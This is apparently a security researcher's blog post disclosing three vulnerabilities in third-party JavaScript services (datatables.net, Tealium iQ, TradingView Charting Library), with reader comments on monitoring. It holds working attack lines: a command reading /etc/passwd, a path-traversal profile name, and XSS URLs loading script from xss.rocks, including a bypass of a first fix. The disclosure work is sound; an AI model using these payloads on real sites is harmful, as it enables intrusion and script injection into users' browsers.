Hacking thousands of websites via third-party JavaScript libraries

A vast number of websites use third-party JavaScript libraries as a way to enhance their functionality with the capabilities offered by a particular library. In many cases, library data is conveniently loaded directly from the service provider’s domain. However, using third-party libraries as part of a website or application leaves the company significantly more vulnerable to a potential attack. I present three examples of vulnerabilities I have discovered in popular JavaScript libraries affecting thousands of large companies.

Example 1: RCE in datatables.net

Datatables.net provides a free library for displaying table data as HTML, available to everyone. The home page of datatables.net suggests using a .js library file that resides at cdn.datatables.net on your site.

Datatables.net home page

This means that a lot of websites on the Internet use the resource cdn.datatables.net as a source of their scripts, and in the case of compromising this resource it will be possible to get an access to all these sites.

Example of a site that loads a library from cdn.datatables.net

While browsing through the company’s services, it was discovered the application https://editor.datatables.net/generator/, which allows generating and testing custom tables on the backend side. Each time a new table was generated, a new PHP file was created on the server. Using a hole in filtering of the input parameters for creating the PHP file, I was able to reproduce an RCE attack: a malicious request injected arbitrary PHP code into the generated file.

When clicking on the link of the generated file and adding the parameter 1=cat /etc/passwd, the contents of the /etc/passwd file were obtained.

It was checked that this vulnerability could be used to access files on cdn.datatables.net, which potentially allowed exploiting the vulnerability on more than a hundred thousand sites.

Example 2: Path traversal in Tealium iQ

The Tealium iQ Tag Management System service is used by many companies to organize tags on their websites.

As in the first example, this service requires the use of JavaScript code from a third-party domain.

Uber home page loads a library from tags.tiqcdn.com

This vulnerability has been caused by an inadequate processing of the profile name data, received from the user’s input value. Here are the basic parameters utilized by Tealium iQ necessary to post profile data on tags.tiqcdn.com:

https://tags.tiqcdn.com/utag/<Account Name>/<Profile Name>/prod/utag.js

The problem is that the server allows the characters / and . to be used in the profile name. Such characters can be exploited to manipulate the directory into which a profile is loaded. For instance, in case the profile name has a value ../../utag/uber/main, own profile JavaScript code will be uploaded to https://tags.tiqcdn.com/utag/uber/main/prod/utag.js, and this way, it will be embedded on any Uber website page that utilizes Tealium iQ.

This vulnerability has been detected and reported as part of the Uber Bug Bounty and another private Bug Bounty program.

I have created a convenient exploit that could easily alter the contents of any .js file at tags.tiqcdn.com.

At the time the vulnerability was discovered, the websites of Uber, Microsoft, Cisco, Intel and thousands of other sites were at risk.

Example 3: DOM Based XSS in TradingView Charting Library

The TradingView Charting Library is very popular across cryptocurrency exchange platforms. Most crypto exchanges use this library as a function in their services to display online trading charts. On September 24, 2018, data on high-risk DOM Based XSS library vulnerabilities was introduced. All exchanges using this library were vulnerable.

Any web app, using the TradingView Charting Library in its services, stores a publicly accessible HTML file called tv-chart.html on the server. This file is used to initialize trading charts through location.hash parameters. As a result of the charts initialization, the iframe link to the page of the following type is loaded onto the page.

https://example.com/tradingview/en-tv-chart.x.html#symbol=BTC_ETH&interval=180&widgetbar=%7B%22details%22%3Afalse%2C%22watchlist%22%3Afalse%2C%22watchlist_settings%22%3A%7B%22default_symbols%22%3A%5B%5D%7D%7D&drawingsAccess=%7B%22type%22%3A%22black%22%7D&locale=en&uid=tradingview_36472&clientId=tradingview.com&userId=public_user&chartsStorageVer=1.0&debug=false&timezone=Asia%2FTaipei&theme=Dark

The vulnerability was located in the third-party trading charts loading function. The function used a link obtained from the user input of the indicatorsFileparameter, and transferred it to $.getScript().

A vulnerable link, executing arbitrary JavaScript code, looks like follows.

https://example.com/tradingview/en-tv-chart.x.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=//xss.rocks/xss.js

When users clicked that link, the following code was executed: xss.rocks/xss.js.

After the vulnerability had been publicly disclosed, TradingView released a new library version to fix it. The function, responsible for loading third-party charts, was changed. The new version of this function looked as follows.

This fix was incorrect and the vulnerability can still be reproduced using thecustomIndicatorsUrlparameter while adding the uid=urlParams parameter.

https://example.com/tradingview/en-tv-chart.x.html#disabledFeatures=[]&enabledFeatures=[]&customIndicatorsUrl=//xss.rocks/xss.js&uid=urlParams

As of this moment, a new library version has been released. It completely fixes the vulnerability.

All exchange platforms, included in the CoinMarketCap list, were tested for vulnerable library version. As a result, 90 vulnerable exchange services were identified, including those with top trading volumes. All vulnerable exchanges were notified of the vulnerability.

  • 46 exchanges ignored that alert
  • 44 exchanges responded to the alert and requested technical data
  • 19 exchanges fixed the vulnerability
  • 7 exchanges suggested the reward

Conclusions

When testing a web application for security, you should always consider the third-party products used, because in many cases they are no less important than first-party.

About Daniel

I do security. Twitter: @0xmdv

8 thoughts on “Hacking thousands of websites via third-party JavaScript libraries Add Yours?

  • I’ve come to the conclusion that the way to secure your website from third party JavaScript is to monitor everything happening on your site:
    https://enchantedsecurity.com/

    These third party libraries are a necessary part of modern websites. It’s worth trusting but verifying their security.

  • I agree in part with Jeff but what happens when the malicious script runs randomly on weekends and only at night (when no dev is working). It impossible to monitor everything.

    • Mats, there is a consensus that it is possible to monitor everything.

      This is what you achieve setting up a SIEM solution. This also requires a 24/7 team to monitor, understand and filter away false positives – and once a positive event is triggered a incident response team needs to scramble to resolve relevant issue. It’s complicated, and expensive, but not impossible.

      you can monitor everything, but it is going to be very difficult to catch everything. As this SIEM evolves it will improve. AI’s will be most helpful in identifying first generations of malicious behaviours.

Leave a Reply

Your email address will not be published. Required fields are marked *